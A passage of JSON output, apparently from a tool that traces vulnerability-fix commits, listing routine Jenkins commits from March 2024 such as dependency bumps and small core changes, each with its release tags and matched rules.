"relevance": 2 - } - ] - }, - { - "commit_id": "a4835fccf3f46623f0d7dd11cf55c5e5928c8358", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710448448, - "hunks": 1, - "message": "Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040) Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.0.0-jre to 33.1.0-jre. - [Release notes](https://github.com/google/guava/releases) - [Commits](https://github.com/google/guava/commits) --- updated-dependencies: - dependency-name: com.google.guava:guava dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9040": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9040", - "relevance": 2 - } - ] - }, - { - "commit_id": "d2a4a44a5c10ff9f32632fdd628deed275ea39a1", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710291595, - "hunks": 1, - "message": "Remove lingering reference to `maven-makepkgs-plugin` (#9034)", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9034": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9034", - "relevance": 2 - } - ] - }, - { - "commit_id": "4909708a14c3ca9acc9a74e5e5a1349700186886", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710291567, - "hunks": 5, - "message": "Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps [softprops/action-gh-release](https://github.com/softprops/action-gh-release) from 2.0.2 to 2.0.4. - [Release notes](https://github.com/softprops/action-gh-release/releases) - [Changelog](https://github.com/softprops/action-gh-release/blob/master/CHANGELOG.md) - [Commits](https://github.com/softprops/action-gh-release/compare/d99959edae48b5ffffd7b00da66dcdb0a33a52ee...9d7c94cfd0a1f3ed45544c887983e9fa900f0564) --- updated-dependencies: - dependency-name: softprops/action-gh-release dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/publish-release-artifact.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9035": "Bump softprops/action-gh-release from 2.0.2 to 2.0.3 #9032" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9035", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e61c82be10352d1923518c276d67890372ed970", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710288923, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to 472.vf7c289a_4b_420 (#9036) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9036": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9036", - "relevance": 2 - } - ] - }, - { - "commit_id": "61a8fed2594989ca14f31179b75ce26e5157cb3b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710211963, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9033": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9033", - "relevance": 2 - } - ] - }, - { - "commit_id": "f7cfb7ed382fc25a7c80bd4f96980e220274abd7", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710167038, - "hunks": 5, - "message": "Bump softprops/action-gh-release from 1 to 2 (#9030)", - "changed_files": [ - ".github/workflows/publish-release-artifact.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9030": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9030", - "relevance": 2 - } - ] - }, - { - "commit_id": "9e7397244e9c971f5b1d5406d8865c52fa301233", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710167025, - "hunks": 1, - "message": "Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031)", - "changed_files": [ - "bom/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9031": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9031", - "relevance": 2 - } - ] - }, - { - "commit_id": "76e1fd291b2fb539a2d72776bcaeaeba7461556d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710091777, - "hunks": 1, - "message": "Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "ath.sh" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9029": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9029", - "relevance": 2 - } - ] - }, - { - "commit_id": "b9b779d71928cc33f207a98726265ee77705cccc", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057459, - "hunks": 1, - "message": "Link to individual releases' changelog pages (#8985)", - "changed_files": [ - ".github/release-drafter.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8985": "Fix formatting #9151" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8985", - "relevance": 2 - } - ] - }, - { - "commit_id": "46b0db778344fd705418535bc6a7f55b88e4db30", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057450, - "hunks": 7, - "message": "`Lifecycle.supportsDynamicLoad` (#9013)", - "changed_files": [ - "core/src/main/java/hudson/PluginManager.java", - "core/src/main/java/hudson/lifecycle/Lifecycle.java", - "core/src/main/resources/hudson/Messages.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9013": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9013", - "relevance": 2 - } - ] - }, - { - "commit_id": "2dca2b18ae00829431be06c25bb370e5f825b2bc", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057432, - "hunks": 2, - "message": "`Job.fastUpdateNextBuildNumber` (#9019)", - "changed_files": [ - "core/src/main/java/hudson/model/Job.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9019": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9019", - "relevance": 2 - } - ] - }, - { - "commit_id": "c9af352f6f1815a799308fbe7a613038d7cfd63b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057377, - "hunks": 1, - "message": "[JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026)", - "changed_files": [ - "core/src/main/java/hudson/util/jna/GNUCLibrary.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9026": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9026", - "relevance": 2 - } - ] - }, - { - "commit_id": "dc714a7ffb766ab7de1573ae327823e4867117e6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057333, - "hunks": 20, - "message": "Update dependency postcss-preset-env to v9.5.0 (#9028) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9028": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9028", - "relevance": 2 - } - ] - }, - { - "commit_id": "b528922163e2c7cf3b5735080184e44149117ce4", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710008250, - "hunks": 2, - "message": "Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn in war/pom.xml Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", - "changed_files": [ - "war/package.json", - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9021": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9021", - "relevance": 2 - } - ] - }, - { - "commit_id": "3a07440b339bc9da1b5c8632aa78a02e011b4e5b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709994573, - "hunks": 1, - "message": "Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022) Co-authored-by: Daniel Beck ", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9022": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9022", - "relevance": 2 - } - ] - }, - { - "commit_id": "9a3ef7cd0421fde13aaf4a17285acc127026ae63", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709920080, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9018": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9018", - "relevance": 2 - } - ] - }, - { - "commit_id": "61a2404ba3596b598f5ad7bb7ad8f000eff659c2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709756373, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to 470.vc91f60c5d8e2 (#9015) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9015": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9015", - "relevance": 2 - } - ] - }, - { - "commit_id": "b5c5caa7eac3e318cfc277932cdf6cd8017154bc", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709668907, - "hunks": 5, - "message": "Adds support of sessionId for External-Job-Monitor (#8825) adds support of sessionId and minor bug fix", - "changed_files": [ - "core/src/main/java/hudson/Main.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8825": "[JENKINS-70684] Deprecate standalone use of hudson.Main #9023" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8825", - "relevance": 2 - } - ] - }, - { - "commit_id": "b0a251ab8cfbad9c5ed32fb1fdd2081a869d4e1e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709668885, - "hunks": 8, - "message": "Add copy-to-clipboard button to the build console output (#8960) * Add copy-to-clipboard button to the build console output * Fix copy button did not work with progressive output * Use getElementById instead of querySelector * Update copyButton documentation * Update core/src/main/resources/lib/layout/copyButton.jelly Co-authored-by: Alexander Brandes --------- Co-authored-by: Alexander Brandes Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/hudson/model/Run/console.jelly", - "core/src/main/resources/hudson/model/Run/console.properties", - "core/src/main/resources/lib/layout/copyButton.jelly", - "core/src/main/resources/lib/layout/copyButton/copyButton.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8960": "Add download option to 'Console output', move 'View as plain text' and 'Copy' buttons to app bar #9169" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - 